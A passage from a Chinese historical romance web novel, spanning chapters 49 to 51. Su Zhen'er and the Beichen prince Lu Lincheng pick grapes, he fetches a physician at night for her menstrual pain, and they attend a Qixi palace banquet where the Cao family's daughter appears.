普通人若是发现被人查了行踪,大抵也是要生气的,更别说是堂堂异姓王。 苏甄儿尝试狡辩,“我就是试试,芙蓉馆藏在金陵城内的探官好不好用。” “哦。”男人眉眼下垂,唇角又落回去。 他将信笺递还给苏甄儿,起身,转身欲走之时,突然感觉到一股力气扯住他的衣摆。 陆麟城转身低头,看到女人柔软的发顶,有一个呆呆的璇儿。 苏甄儿认输了,她想了一日,实在是憋不住了。 “你出门的时候不是这件衣服吧?” 可话出口,她就后悔了。 她也不知道自己在紧张什么,她总觉得自己问出这句话像是存着什么私心,可若真要细究起来,连她自己都不知道这份私心是什么。 陆麟城低头看了一眼身上的衣服,点头,“嗯。” 他办事的时候,别人的血总会溅到身上,避无可避。成婚之后,为了避免苏甄儿反感自己身上血腥气太重,陆麟城总习惯换了衣物再回去,因此,他在谢楚安的锦衣卫所内常备了洗漱用品和便服。 大半年的时间过来了,苏甄儿一次都没有发现。 可今日,她居然发现了。 她好像……稍微有些在意他了。 苏甄儿咬着唇瓣,抬眸看他之时眼神闪躲,“王爷为什么换衣服?” “沾了血。”陆麟城盯着她,目光一瞬不瞬。 “你进宫为什么会沾血?” “谢楚安不在,昭狱暂时由我打理,进宫之前奉命去审讯了一下。” 这个理由,勉强接受吧。 苏甄儿松开他的衣摆,那股子别扭感还没消下去,然后她就感觉自己头顶一沉,似乎被什么东西戳了一下。 苏甄儿顺势抬头。 陆麟城的手指还没来得及收回来。 苏甄儿,“……你在干什么?” 陆麟城偏头避开她的视线,指尖蜷缩起来握成拳,抵在唇边,略显尴尬的轻咳一声。 第49章 葡萄酸 人在尴尬的时候总是会假装很忙, 男人的视线上移,望向后园子的方向,“葡萄熟了。” 所以呢?这跟你戳我头顶有什么联系?我头顶长着葡萄? “我去给你摘。”话罢, 陆麟城就要顶着日头去摘葡萄。 苏甄儿赶紧拉住他, “等日头下去,”她微微偏了偏头,声音低了一点,“我们一起去摘。”- 天气的热度还没过去, 苏甄儿这个身子怕冷又怕晒。 北辰王府后园子里有一处葡萄藤顺着新扎好的架子长满了葡萄, 趁着日落之后,没了日头, 苏甄儿和陆麟城一起去摘葡萄。 男人手里拎着竹篮子, 那竹篮子里面放着一柄剪子。 北辰王府的后花园子一向有下人打理,正是葡萄生长最繁盛的季节, 颗颗晶莹剔透的翠绿色葡萄悬挂在藤蔓上, 吸收着细碎的阳光, 显出夏日风情。 苏甄儿踮脚摘了一颗尖部的葡萄, 剥皮,正欲塞入口中之中偏头看到站在自己身边的陆麟城, 手腕翻转,送到他唇边。 葡萄汁水顺着指尖往下淌。 男人俯身, 低头,咬住葡萄,连皮带肉都吃了进去。 “呀,还没洗呢, 别吃皮。” 她剥皮就是怕外皮脏。 “很甜。” “真的吗?” “嗯。”陆麟城点头。 苏甄儿兴致勃勃的给自己摘了一颗,剥开外皮, 轻咬一口。 然后酸得连面部管理都没有了。 “噗……”身边传来男人没忍住的低笑声,苏甄儿气得不行,又摘了三颗葡萄就往他嘴里塞。 陆麟城提着篮子往旁边躲,踩上一侧石凳,从阳光最充足的地方摘下来一串葡萄放进篮子里,“我错了,我错了,你尝尝这串,一定好吃。” 虽然男人的认错态度很诚恳,但苏甄儿已经不相信他了。 葡萄被扔进一旁的泉水里洗了洗,苏甄儿挑了一颗递给陆麟城,“你先吃。” 男人低头,将葡萄吃进嘴里。 苏甄儿仔细观察他的表情,感觉确实没有太大变化之后,犹疑着自己摘下一颗,放进嘴里。 好甜。 不是那种甜到发苦的味道,而是那种天然的葡萄淡香裹挟着淡淡的甜腻汁水味道,顺着口腔发散,似乎还能尝到那种被阳光长久滋润的感觉。 苏甄儿一口气吃了半串,有些疑惑陆麟城是怎么挑到甜葡萄的,怎么她挑的葡萄就这么酸呢? “阳光充足的地方,葡萄会更大更甜些。” 原来如此。 “不够,再摘些,相公。”苏甄儿双手捧脸,仰头看向陆麟城。 陆麟城被苏甄儿唤的心头发软,他起身,拿着剪子站上石凳就开始摘葡萄。 陆麟城天生冷白皮,这种皮肤怎么晒都不怕黑,甚至在阳光下还会越晒越白。 真是把苏甄儿给羡慕坏了。 “相公,我要那串,还有那串。” 苏甄儿站在下面指挥陆麟城。 陆麟城一会儿窜到西边,一会窜到东边,额头汗珠细密滚落,顺着下颚往下淌,浸湿了衣领鬓角。 他抬手擦了一把脸,刚刚从石凳上下来,一块帕子就送到他面前,替他擦了汗,女人双眸亮晶晶地看着他,“相公不愧是大将军,摘串葡萄都摘得这么好。” 陆麟城顺着苏甄儿的夸赞声又莫名其妙站到了石凳上,“……我再给你摘点。” 摘了十篮子的葡萄,苏甄儿吩咐将三篮子送入隔壁英国公府,另外三篮子往荣国公府去,最后剩下四篮子,留下两篮子自己吃,剩下的都赏给下人。 绿眉也吃上了好几串北辰王亲自摘下来的葡萄,想到方才自己路过后园子,听到自家王妃对王爷的夸赞之语,再看一眼那在夸赞声中摘个不停的王爷,一副“老婆够不够,不够我自己躺篮子里”的模样,忍不住想让自家王妃把嘴放下来帮帮忙。 “是他自己先骗我吃酸葡萄的。”苏甄儿跟绿眉控诉陆麟城的恶性。 绿眉立刻大呼,“王爷太坏了。” 苏甄儿道:“是吧,我给他摘了一颗葡萄,分明是酸的,他骗我是甜的。” “那王妃你摘了葡萄为什么不自己尝呢?” “我这不是怕葡萄酸嘛。”- 入了夜,天气依旧闷热,苏甄儿靠在窗子边吹风。 她摇着手中檀香小扇,远远看到陆麟城在书房里忙碌。 也不知道他一个武将怎么这么多事。 苏甄人打了一个哈欠,准备先行休息。 屋内置着冰块,将那股闷热感驱散不少。苏甄儿想着,后园子里应该挺凉快的,不知道能不能带了蚊帐去后园子里睡。 想着想着,她就困了。 可没过一会儿,腹内一阵绞痛。 苏甄儿直接被疼醒了。 她面色惨白地蜷缩在床铺上,说话的力气都没有。 陆麟城推门进来,看到苏甄儿蜷缩在床铺上,满脸冷汗的样子,面色一凝,赶紧疾走过来将人揽住,“怎么了?” “腹痛……”苏甄儿一边抽气,一边说话。 动静有些大,将屋外的绿眉引了过来。 “你照料王妃。”陆麟城将苏甄儿交给绿眉,吩咐十三,“去找府内医士过来,我进宫去请太医院。” 已是深夜,宫门都落锁了,这种时候怎么进得去。 陆麟城纵马而去,那边十三迅速领了府内医士过来。 苏甄儿身子一动,感觉下腹一股暖流。 她停顿下来,抬手挡住欲上前诊治的医士,然后赶紧将站在一侧的绿眉唤了过来。 “绿眉,过来。”- 收拾好,苏甄儿重新躺回床铺上。 医士终于能上前诊脉。 床帐落下,隔着帷幔,医士两指搭在垫着锦帕的手腕上,随后,医士问道:“王妃今日可用了些什么?” 因为“报复”到了陆麟城,所以苏甄儿很开心,吃了很多葡萄。她忘记这几日她的小日子就要来了,真是得意忘形。 “多吃了几颗葡萄。”苏甄儿矜持道。 “那就是生冷之物吃多了,我给王妃开几副方子,王妃让人暖一暖身子,莫要贪食寒凉之物就好。” “嗯。”苏甄儿实在感觉有些羞,吩咐绿眉将人打发之后,猛地想起来陆麟城还进宫给她请御医去了! “绿眉,快,去找王爷,告诉他不要……” “王爷回来了!”门外传来十三的声音,下一刻,一个年迈的老头被陆麟城带了进来。 可怜的内科圣手一路被甩在马背上疾奔,一把老骨头都要散架了,然后又被陆麟城推拉着带入主屋,连口热乎气都没喘上。 苏甄儿绝望了。 她闭着眼,任由那位内科圣手替自己看完。 “王妃可是……”内科圣手试探性询问。 “是。”苏甄儿羞愧低头。 “那老臣给王妃开几副温养的方子,不要贪食寒凉辛辣之物……若是实在疼得厉害,也要注意,或有崩漏之症(大概类似黄体破裂),危及性命……” 御医隔着薄薄一层衣物,仔细给苏甄儿腹部探查一番,确定没有肿块。 诊断完毕,陆麟城面色凝重的上前,“王妃怎么了?” 苏甄儿没忍住,隔着帘子抓住了他的手。 “别问了。” 苏甄儿感觉自己的声音都发抖了。 然后她又与御医道:“劳烦您了。” 御医被绿眉恭恭敬敬送了出去,多加了一次夜间急诊,虽有专马护送,但还不如没有的好,不过幸好,给的诊金十分丰富,还给了一篮子听说是北辰王亲手摘的葡萄。 “到底怎么了?”隔着帐子,陆麟城低声询问。 苏甄儿深吸一口气,“小日子到了。” 从前,苏甄儿每逢这种日子,便与陆麟城拉开距离。两人虽成婚,但也不熟。 苏甄儿不愿意让人看到她狼狈脆弱的样子,装出来的除外。可自从宝塔火灾之后,她对陆麟城的信任急速攀升,都忘记这茬事了。从前小日子也不会疼得这么厉害,实在是此次贪嘴了。 陆麟城一顿,紧绷的心脏瞬间归位。 他攥着女人的手,隔着柔软的帐子细细摩挲。 下一刻,主屋的门再次被敲响,十三道:“王爷,孙公公来了。” 孙乾铭站在门口,朝里道:“陛下听闻王爷深夜入宫寻找御医,怕是府中有人抱恙,便特意安排奴才过来看看。” 苏甄儿:…… 苏甄儿真想把自己蒙死在被子里。 “没事,是我旧疾犯了,御医已经走了。”陆麟城起身,打开门跟孙乾铭说了几句,将人送走。 御医刚走,那边十三又领进来一个人,“王妃,苏小公子来了。” “阿姐,听闻你不舒服,我带了府中医士,你素日里都是府中自己医士看的病,旁的医士肯定没有自家医士好。” 苏甄儿:……- 折腾到后半夜,终于消停了。 苏甄儿窝在屋子里,腹痛疼痛异常难忍,连路都走不了,躺下也被牵引着疼,只有半跪的姿势才勉强缓解几分。 “疼成这样?” 陆麟城的手抚过她的额头,男人眉头蹙着,皱成川字。 苏甄儿摇了摇头,任由陆麟城略显生疏的将汤婆子贴在她腹部,然后又搬来软被子替她垫在身前。 苏甄儿将脸贴在柔软的绸缎被褥上,额头上有冷汗滑落。 绿眉将熬好的药端了来,苏甄儿吃上一碗,这股疼痛才稍稍缓解。 屋内安静下来,苏甄儿趴在那里,一副生无可恋的表情,“你找御医这事,不会闹得整个金陵城都知道了吧?” 陆麟城看着她,缓缓开口,“天下有一半女子,一半男子。” “既然是在一半人身上都会发生的事,那也不必太过忌讳。” 苏甄儿有气无力,“我也不忌讳,我就是觉得……太过兴师动众了。” 陆麟城盯着她,不说话。 沉默在两人之间蔓延。 直到苏甄儿眼皮子打架,以为男人不会说话了的时候,她才听到他开口。 “可是你吓到我了。” 瞌睡虫一哄而散,安静的主屋里,男人的话语中似乎又带上了几许委屈,甚至还有一点残留的惊惶。 想到刚才男人夜半闯入皇宫替自己去找御医的事,苏甄儿心里也觉得有些过意不去。 而且他的眼神,与那次将自己从宝塔火灾里救出来时一模一样。像吹皱的秋水,凝着愁绪,盛满了荒芜。 苏甄儿感觉心脏也跟着缩紧,像是被他传染到了一样。 她似乎能从这份眼神中看出什么,可随即,男人移开视线,不再跟她对视。 苏甄儿保持着扶趴的姿势,略显艰难地伸出手,点了点陆麟城的额头,揉开他的“川”字,刻意调笑,调节男人的情绪,“大将军,刀枪剑雨里过来的,你胆子怎么这么小?” 陆麟城又转头盯着她,“确实不大,你摸摸?” 第50章 曹家女 后日就是七夕节了, 按照传统,这日里,女子们会用抓来的蜘蛛放在盒子里, 若蜘蛛结出来的网圆正, 便唤作“得巧”。 “像我这样完美的女子,当然要结最圆最正的网。”苏甄儿精心挑选最完美的宝石盒子,准备用来装蜘蛛。 绿眉:…… 绿眉收拾收拾东西,跟苏甄儿一道去园子里逮蜘蛛了。 昨夜刚下了雨, 今日阳光清朗, 苏甄儿找了一处树荫,拿了网子, 跟绿眉仔细寻找蜘蛛。 下过雨之后日出晴天, 更能看到结网的蜘蛛。 不消一会,苏甄儿和绿眉便抓住了两只。 “等大后日过去就将它们放了。” 苏甄儿仔细交代绿眉。 绿眉点头颔首, 将盒子拿回屋中, 那边管家便引了人过来。 “王妃, 是宫里的孙公公来了。” 孙乾铭是皇帝身边的贴身大太监, 地位不凡,苏甄儿换了衣裳亲自出去接待。 “孙公公。” 大厅内, 孙乾铭原本正坐在那里饮茶,看到苏甄儿过来, 赶忙起身行礼。 “王妃安好,奴才今日过来给您带信,乞巧节邀您与王爷一道进宫饮宴。” “劳烦公公跑一趟了。”苏甄儿从绿眉手中接过荷包打赏给孙乾铭。 “王爷呢?”苏甄儿多嘴问了一句。 孙乾铭道:“王爷替陛下去城门口接曹家女了。” “北方氏族之首的那个曹家之女?”苏甄儿的脸上露出惊愕之色。 孙乾铭点头道:“是,曹家女也会来参加乞巧宫宴。” 这位曹家女美名在外, 民间有传言:北方有一女,倾国又倾城。 这是对曹家女的赞颂之词。 可最令人唏嘘的还是她的经历。 她是先太子妃。 只是与太子成婚没一年, 太子就去世了,两人也没有留下子嗣。 太子去世后,曹氏将她接了回去,一晃多年,曹氏又将曹氏女送到金陵城来,也不知道到底有什么意图。 “绿眉,准备马车,我要出门。” 曹家女入金陵,大街小巷之上早已挤满了看热闹的百姓。 苏甄儿坐在福来客栈的最佳观赏位置,窗户半开,撑着下颚将视线投向楼下,那位曹家女的马车还没来。 八月桂花飘香,四处都能嗅到浓郁的桂花香气。 她记得北辰王府内也有几棵桂花树,等空闲下来,她可以摘些桂花做桂花蜜,桂花糕,桂花糖……正想着,桂花香中突兀飘进一股淡淡的檀香味道。 那檀香并非平日里贵人们惯用的熏香,而是在寺庙内才能嗅到的佛香。 苏甄儿微微探身,只见宽敞大街之上正远远行来一群人,浩浩汤汤,阵仗很大。 那是一支以肉眼看起来便十分严明的军队,铠甲武器,战马英姿,一看便是精锐部队,尤其是那领头之人,身形比陆麟城都高,黑髯虎眼,肩扛环形大刀,一看便是极为勇猛的武将。 苏甄儿听说曹公只有一位独女,后又养了一名义子,身高足有两米,使环形大刀,勇猛非常,大抵就是这位了。 队伍中间,是一辆以六匹毫无杂色的白色骏马拉着,缓慢前行的马车,四周覆盖浅淡的黄色帐帘帷幕,阳光下,车身帐子上隐隐约约反射出一点金色佛文痕迹,挂风灯的地方还悬着一串辟邪的佛珠。 苏甄儿听说曹氏信佛,今日一见,这传闻大抵是真的。 队伍缓慢过去,苏甄儿终于看到在后面跟着收尾的陆麟城。 男人一身常服,骑着珍珠,漫不经心地带着鬼面军从福来客栈前路过。 突然,他似有所感,抬头朝上看过来。 苏甄儿单手拿着打开的檀香小扇遮住半张脸,只露出一双眼,半撑在窗口处。 “馆主。” 吓! 苏甄儿一个机灵,手里的檀香小扇就这么掉了下去。 好巧不巧,队伍正走到末尾。 陆麟城轻夹马腹上前,抬手,一把接住那柄小扇。 如此熟悉的场面,不禁让人想起初见之时,少女朝他砸过来的那柄檀香小扇。 苏甄儿扭头娇俏地瞪了一眼燕娘,然后朝陆麟城做口型,“还给我。” 男人骑着马,扬了扬小扇,插在腰上,朝苏甄儿挥手道别。 苏甄儿:…… “馆主,你看看这样行吗?”燕娘丝毫不惧苏甄儿的美丽白眼,将刚刚写好的稿子递给她。 按照周玄祈的要求,这是一份传谣稿。 只有阴年阴月阴日阴时生的女子才能成为大周皇后,为大周带来福报与和平。 “嗯,可以。” “馆主,皇帝这样做的目的是什么?”燕娘好奇,“世上真有这么一位女子吗?若是没有,那皇帝岂不是一辈子都没有皇后了?” “或许,正是因为已经有了人选,所以才要这样做。”- 从福来客栈出来后,苏甄儿又去了一趟绣花楼挑了好几套衣服,这才回到北辰王府。 书房的灯亮着,苏甄儿提裙进去,看到陆麟城正坐在书房里处理公务,她走过去,手从他后腰穿过去,被男人一把按住,拉到身上坐下。 “我的扇子。”苏甄儿伸出手讨要。 “我以为没人要,才会被人扔下来。” “我是不小心的。”苏甄儿凑过身子,从陆麟城衣襟里抽出那柄檀香小扇。 不在后腰处,那就是藏在胸前了。 “今日那曹氏女,好看吗?”檀香小扇抵在陆麟城胸前,苏甄儿歪头看他。 “嗯……”男人沉吟半响。 女人双眸缓慢眯起。 “没瞧见。” “嗯?” “她坐在轿中,我没瞧见。” 行吧。 苏甄儿正欲起身离开,不想陆麟城单臂一搭,又将她往上放了放,“扇子若是掉下来,应该是从上面的位置以直线距离掉到下面,可是我怎么记得,我们第一次见面的时候,娘子的扇子是被抛出来的?难道娘子是故意的?” 苏甄儿:…… “你记错了吧。”女人偏头,耳廓红润,双眸不停地眨动,明显十分心虚。 “是吗?”男人步步紧逼。 “是的。”苏甄儿万分笃定的撒谎。 “那应该是我记错了,娘子怎么可能故意砸我,就是为了引起我的注意呢。”男人盯着她,语气缓慢而低沉。 “你想的美,当然是你记错了。”苏甄儿一把推开人,急匆匆跑了。 回到主屋,苏甄儿趴在床铺上想,分明是她去兴师问罪的,怎么变成她落荒而逃了? 而且……今日陆麟城说的话,居然让她有一种他皆心知肚明,却心甘情愿被她利用的感觉。 她一定是疯了!- 乞巧日很快就到了。 苏甄儿乘坐马车与陆麟城一道往宫里去。 天气还热着,马车上挂着芦帘,苏甄儿嫌弃太粗糙难看,多加了一层绿纱,如此随着马车微微颠簸,看起来文雅漂亮不少。 “皇帝突然举办宴会,如此热情招待曹氏一族,这大抵跟最近的税改有关吧?” 这是苏甄儿想了几日后的猜测。 陆麟城坐在她对面,对腰上挂的一大堆玉佩、香囊等物有些不太适应。不过因为这是苏甄儿给他挑的,所以男人选择接受。 他点头道:“曹氏是北方大族,整个北部都是曹氏的天下。新帝的税改政令在南方能顺利实施,在北方却寸步难行,必须要依靠曹氏的力量才行。” “那曹氏要什么?” 大家世族,或为利益,或为权势,没有无缘无故的奉献。 陆麟城摇头,“暂时不知道,今日宴会过后,或许就知道了。” “我记得曹家还蓄养士兵。”苏甄儿想起上次看到随在曹家女身边的那些士兵。 “是先帝允许的,听说北方世族加起来有三十万兵力。” “三十万!”苏甄儿吃惊。 “外传三十万。” 外传与实际虽然一般都会有些许差距,但总的来说,北方大族,有兵,有钱,不好搞啊,曹家对于周玄祈来说,更是一块难啃的硬骨头。 “皇帝到底什么意思?”苏甄儿轻轻扯了扯陆麟城的袖子。 男人沉默半响,压低声线,“联姻。” “我听说如今的曹家家主只有一位独女。” “嗯。” “皇帝准备让谁跟这位曹家女联姻?” 纵观朝廷上下,唯一能匹配的上这位曹家女身份的人只有一个人,那就是陆麟城。 可陆麟城已经娶了她这位正妃,堂堂曹家女是不可能当侧妃的。 陆麟城跟苏甄儿对视。 苏甄儿盯着他看。 男人开口,“你的眉毛怎么是青色的。” 苏甄儿:…… 这可是她花了十金从波斯商人手里买来的螺子黛! “不过很好看。” 原谅你了- 两人到时,宫宴尚未开始。 新帝一向崇尚节俭,今次宫宴办的也不算奢侈,唯一让人觉得鲜亮些的也就是周边置放着的时令花卉,听说是今年江南新上贡的,正巧用来作为宫宴装饰。 这位新帝还真是物尽其用。 苏甄儿随陆麟城坐在皇帝下首第一张宴案后。 天色渐暗,四周宫娥点燃周围摆放着的琉璃灯。 宴案上摆着花果甜点,苏甄儿随意瞥上一眼,捏起一颗荔枝。 荔枝被置在冰盘内,四周拱着冰块,三五颗荔枝,又圆又大,带着冰窖的寒意。 今日晨起,她画了两个时辰的妆面。为了不破坏妆容,苏甄儿都没有用膳,连水都没喝。 现下感觉有些头晕,看着那荔枝也觉得十分垂涎。 突然,她身侧伸出一只手,拿起那颗最大最圆的荔枝。 红艳的荔枝壳被剥开一半,露出里面香甜可口的肉,然后被递到她面前。 苏甄儿看一眼替她剥壳的陆麟城。 男人唇角似有笑意,他微微偏头与她说话,“你咽口水的声音吵到我了。” 苏甄儿:……自从姑苏回来后,她发现这位北辰王似乎对她放肆了不少。 不过这份放肆……好吧,也是她自己允许的。 感觉两人好像,亲近了一些。 苏甄儿恶狠狠咬上一口荔枝,陆麟城剥开下面的壳,用指腹托着那一点壳,将荔枝塞进她口中。荔枝止水充沛,香甜可口,苏甄儿吃完一颗,又将视线挪到那圆滚滚的七彩糖果子上。 个头居然跟荔枝差不多大,这是不是要敲碎了再吃? 这样想着,那边陆麟城已然拿了一颗,递到苏甄儿唇边。 “北方的糖果子,味道与南方的不一样。” 是嘛。 苏甄儿张嘴,陆麟城顺势将糖果子塞入她口中。 糖果子太大,苏甄儿的面颊鼓起,她刚想问陆麟城他们在开宴前就吃吃喝喝坏了规矩是不是不太好,那边就传来了孙乾铭的说唱声。 皇帝到了。 如果是之前,苏甄儿根本就不会做出这种出格的事情,她被陆麟城带坏了。 陆麟城与她不一样,他身上带着一股不受束缚的野性,比如之前带她闯入皇帝的温泉池。 这种事情如果放在先帝身上,那便是藐视皇权,重则掉脑袋,轻则剥爵位。 一开始,苏甄儿还觉得他不懂皇权厉害,可前几日接曹家女入金陵,他又安排的十分妥帖周到。说明他并非不通人情世故之辈,那么只有一个可能,就是他太知道什么人要通世故,什么人不要通世故。 周玄祈虽与陆麟城是兄弟,但他也是皇帝。 陆麟城的出格对于周玄祈来说,是刚刚好的出格。 众人站起迎接圣人。 皇帝面前,仪容仪表皆要最佳,她含着一颗糖果子可不像样,可现在要她梗脖子咽下去也不现实。 太大了她根本咬不动。 陆麟城伸出手掌来,“吐出来。” 苏甄儿张嘴,吐出糖果子。 两个人的小动作被皇帝看到,皇帝自然是不会怪罪的,只是安抚的朝众人道:“不必拘谨,只当家宴。” 众大臣携家眷叩拜谢恩。 如此一番唱拜之后,大家终于能落座。 周玄祈朝身侧的孙乾铭低声说了一句什么。 不消片刻,苏甄儿的宴案上就多了一盆糖果子。 苏甄儿:…… “都怪你,我根本就不是这么贪嘴的人!” 陆麟城,“嗯,怪我,是我想吃。” 苏甄儿:…… 苏甄儿气得又去拧他,看到男人躲着她笑,她拧得更气了。 正闹着,宫殿门口再次传来说唱声。 “曹氏家女到。” 此次宫宴的主角是曹家女。 众人抬目,翘首以盼传说中的曹家女。 苏甄人也安静了下来,随着众人的视线往外看去。 上次她与陆麟城一般,都只是看到了曹家女的马车,尚未见到这位的真容。 天色已经完全暗下来,四周琉璃灯亮,曹家女一袭大红色贴金袖袍,上绣大朵大朵的牡丹绣纹,用金丝珍珠勾勒,华服花颜,裙裾翩翩,端庄雍容的从宫殿门口步入。 金玉珠钗,环佩相触,她手腕上戴着一串小巧顶级翡翠佛珠手链,隐约可见上面刻着的梵文痕迹。挂在腰上的禁步压着裙摆,行步之时,缓急有度,轻重得当。 贾谊《新书·容经》有云:“古者圣王居有法则,动有文章,位执戒辅,鸣玉以行。” 曹家女仪态极好,一举一动,皆是教科书级别。 她一步一步朝皇帝走去,在灯光最盛的地方,刻意缓慢抬眸。 那一眼,令众人在心底惊叹。 倾国倾城,不外如是。 便是对自己的美貌颇有自信的苏甄儿也忍不住赞叹一句,“北方有佳人,倾国又倾城”确实名不虚传。 突然,一阵杂乱的禁步声传来,玉石相撞,曹家女在看到周玄祈面容的那一刻,失态了。 可很快,她稳住了步伐。脸上一闪而过慌乱之色,随后调整到最佳状态,走到距离周玄祈不远的地方,叩拜行礼。 “曹家之女,曹梦湄,见过陛下。” 周玄祈坐在上面,身子往后靠,原本挂在脸上的温和笑意消失殆尽。他半张脸隐没在阴暗中。 只有这个时候,苏甄儿才觉得自己窥探到了一点周玄祈的真实面目。 这位新帝是个笑面虎,他笑的时候,你心里不安,他不笑的时候,你心里更不安。 宴中,丝竹声突断,又被快速接上。 如这位曹氏女一般,在悠扬的乐曲声中,周玄祈的脸上也很快挂起了笑,“快平身,曹小姐果然如传闻一般倾国倾城。” 曹梦湄起身,宽袖掩着素手,眉眼如画,“陛下龙威震天,亦是天人之姿。” 两人互相吹捧,非常虚伪。 苏甄儿偏头看向身旁的陆麟城,发现的目光正落在曹氏女脸上。 食色性也,男人嘛,喜欢美人也正常。 突然,陆麟城闷哼一声。 苏甄儿好奇道:“王爷,怎么了?” “你好像踩到我了。”陆麟城想抽脚,又不知道那么小点宴案,往哪里躲。 “呀,我都没发现。”苏甄儿故作惊讶地伸手捂嘴。 陆麟城:…… 男人微微偏头,“那盆芙蓉花,与你长得一样好看。” 苏甄儿顺着陆麟城的视线看过去,看到一排花色之中最明显的那半盆芙蓉花,另外一半被倾国倾城的曹氏女挡住了。 苏甄儿:……不是吧。 她悄悄动了动身子,往陆麟城坐的地方歪过去。 果然,那盆芙蓉花正巧在曹氏女身侧。从苏甄儿的视角看过去,就好像陆麟城在盯着曹氏女看。 苏甄儿默默移开了自己踩着陆麟城的脚。 “嗯?移开了。” 50-60 第51章 芙蓉花 宫宴结束, 陆麟城和苏甄儿坐在马车内,两人中间隔着一盆新鲜的芙蓉花。 “听说是进贡的芙蓉花。”陆麟城不太懂芙蓉花的品种,他只是在一众花卉中一眼看中, 觉得甚美, 与他家娘子一样美。 苏甄儿对芙蓉花颇有研究,毕竟她最喜欢的花就是芙蓉了。 “这是醉芙蓉,因为它开的花同一日能有三种色彩变幻,所以又名三醉芙蓉。清晨初开时花瓣洁白, 然后逐渐转变为粉红色, 傍晚凋谢时为深红色。” 天色已晚,这棵芙蓉上的花朵颜色确实如朱砂般嫣红。 苏甄儿托着花瓣问, “你自己拿的?” “用上次的私税之功跟皇帝换的。” “那么大一个私税之功你就换了这盆芙蓉花?” “周玄祈说此花价值千金, 他骗我?” “他倒是也没有骗你。”醉芙蓉极其名贵,确实抵得上千金, “只是觉得有些亏。” “你喜欢就不亏。” 如此昏庸的言论让苏甄儿忍不住抬头看向了陆麟城。 男人生得好看, 那是一张任凭谁见了都会说一声漂亮的脸。可偏偏那双眼看起来薄情寡义的很, 让你根本就无法想象刚才那句话是从他嘴里说出来的。 可偏偏他就是说了。 “你不喜欢吗?”男人垂眸看她。 “……喜欢。” 马车内安静了一会, 男人咽了咽喉咙,“嗯。”- 回王府路漫漫, 刚才提到皇帝,苏甄儿的八卦因子开始蠢蠢欲动。 她直觉这位曹家女跟皇帝的关系不一般。 而且从曹家女今日的做派看来, 她的目标不是陆麟城,而是皇帝。 “我之前听说皇帝有一段风流韵事,是真的吗?” “不太清楚,他不大提从前的事, 我只听说过一点。”陆麟城伸出一根手指。 苏甄儿立刻竖起耳朵,“哪一点?” “他从前与一名唤昙花的女子相恋, 后来那女子与他分手,嫁人去了。” “和平分手?” 陆麟城摇头,“不是,他曾苦寻那女子无果,还差点被那女子派来的人刺杀丧命。” “刺杀?”苏甄儿吃惊了。 “嗯,具体的我也不太清楚。” 吃瓜只吃到一口的心情真糟糕。 苏甄儿叹息一声,低头看到身边的芙蓉花,柔软的花瓣浸着暖色,连带着她的眉眼也跟着柔软下来。 “你的脚还疼不疼?” “疼。” 男人说着话,脚凑过来,跟她的脚并排放在一起。 一大一小,一长一短。 陆麟城穿的是黑色的皂角靴,那鞋头明明白白沾着她鞋底的印子,巧得很,正是雕的芙蓉。 苏甄儿的脸上闪过心虚,“我也没用多少力气,回去让医士给你看看?” 马车内虽没有置灯,但苏甄儿心思巧妙,往车窗侧边塞了一颗夜明珠。光色氤氲,男人上半身倾斜过来,长发垂到芙蓉花瓣上,略扫下几片留在地上。 苏甄儿眨了眨眼,“不然,我给你踩回来?” 真小气。 男人眸色变深,“可以亲回来吗?” 臭流氓!- 马车窗子上悬挂着的芦帘被放了下来,正好遮盖在夜明珠上。 没有了夜明珠的照明,整个马车厢变得极暗。 苏甄儿甚至看不清陆麟城的五官,只能勉强看到他的面部轮廓线条。 “王爷,王妃,前面的桥正在修整,将路堵了,属下绕路过去,要多费些时候。” 苏甄儿没有办法回话。 陆麟城细细描绘着女子唇线轮廓,细碎的声音被马车外喧闹的夜市声音覆盖。 “唔……” “嘘,会被发现的,北辰王妃。”女子溢出来的声音被男人尽数吞没。 苏甄儿被亲得喘不过气。 这么多年了,她依旧没有掌握好这门呼吸技巧。 车内实在太暗,苏甄儿不了解车厢构造,随着马车一阵颠簸,她的身子往后一仰,肩膀撞到马车壁。 气氛迅速消散。 “撞到了?疼不疼?淤青了吗?”男人语气急切。 “不知道,要脱了衣服才知道。”苏甄儿下意识安抚。 此话一出,马车内陡然安静下来。 苏甄儿顿时意识到自己说了什么。 这种气氛下说这种话…… 男人沉吟半响,“你受伤了,还是暂时先别想这种事情了吧。” 苏甄儿:……到底是谁在想这种事情! 她好想把那盆芙蓉花砸在他脑袋上- 回到北辰王府,天色已晚,马车直接从角门进去,往主院门口去。 苏甄儿被抱下来的时候还想着一件事。 “芙蓉花。” 男人一手托着女子,另外一只臂膀揽着那盆芙蓉花,一齐带进了主屋。 随手将芙蓉花置在桌上,花瓣震落下来,苏甄儿心疼了一会就没功夫心疼了。 “别动,我看看。” 今日宫宴,苏甄儿穿戴正式,肩上衣衫拨开一层又一层,最后露出刚才撞出来的淤青。 女子肌肤白皙,肩膀那块地方又多是骨头,足足鸡蛋大小一块,又青又紫。 怪不得她刚才撞得眼泪都差点出来,这撞得是真不轻。 “我去拿药。” 陆麟城皱着眉头从屋内的药箱里取出一瓶药油,揉搓开后轻轻按在她的肩膀上。 “有点凉,疼……” 苏甄儿身子往后躲。 陆麟城就停手。 如此反复几次,总算是替她勉强擦好。 衣衫上都是药油的味道,苏甄儿十分嫌弃,赶紧想唤人抬热汤进来沐浴。 “再让药油待一会。”陆麟城低声哄她。 “都怪你。”如果不是他非要在马车里亲她,她也不会撞到。 “嗯,都怪我。”男人诚恳认错。 “我明日要吃桂花糕,你去替我摘一篮子桂花。”苏甄儿的最终目的暴露。 尊贵的北辰王拿着小花篮去摘桂花了。 苏甄儿挨了一会儿,实在是挨不住了,这药油也不知道是什么做的,太臭了。陆麟城非说是军中用的,效果极好,虽然确实不太疼了,但实在是臭。 她吩咐绿眉准备热汤,沐浴完毕之后换了衣衫,低头嗅闻,总感觉身上那股药油味道还在。 桌上的芙蓉花安静地待在那里,苏甄儿走过去,绕着它转了一圈,然后恍惚想起来今日是七夕。 “绿眉,过来,替我将芙蓉花搬到这里来。”- 陆麟城迅速摘好一花篮子桂花,推开主屋大门的瞬间,便见偌大帷幔挂起,女子正跪坐在床头摆弄着什么。 苏甄儿听到动静偏头,从下垂成圆弧状的帷幔侧边探出半刻脑袋,看到正走进来的陆麟城。 陆麟城走过去,看到那盆熟悉的芙蓉花。 他沉默一会,小心询问,“非要放在床头吗?” “这是你送我的七夕之礼,自然要好好珍爱。放在这里,我明日一早睁眼就能看到纯白色的芙蓉花。” 话罢,苏甄儿想到什么,眼前一亮。 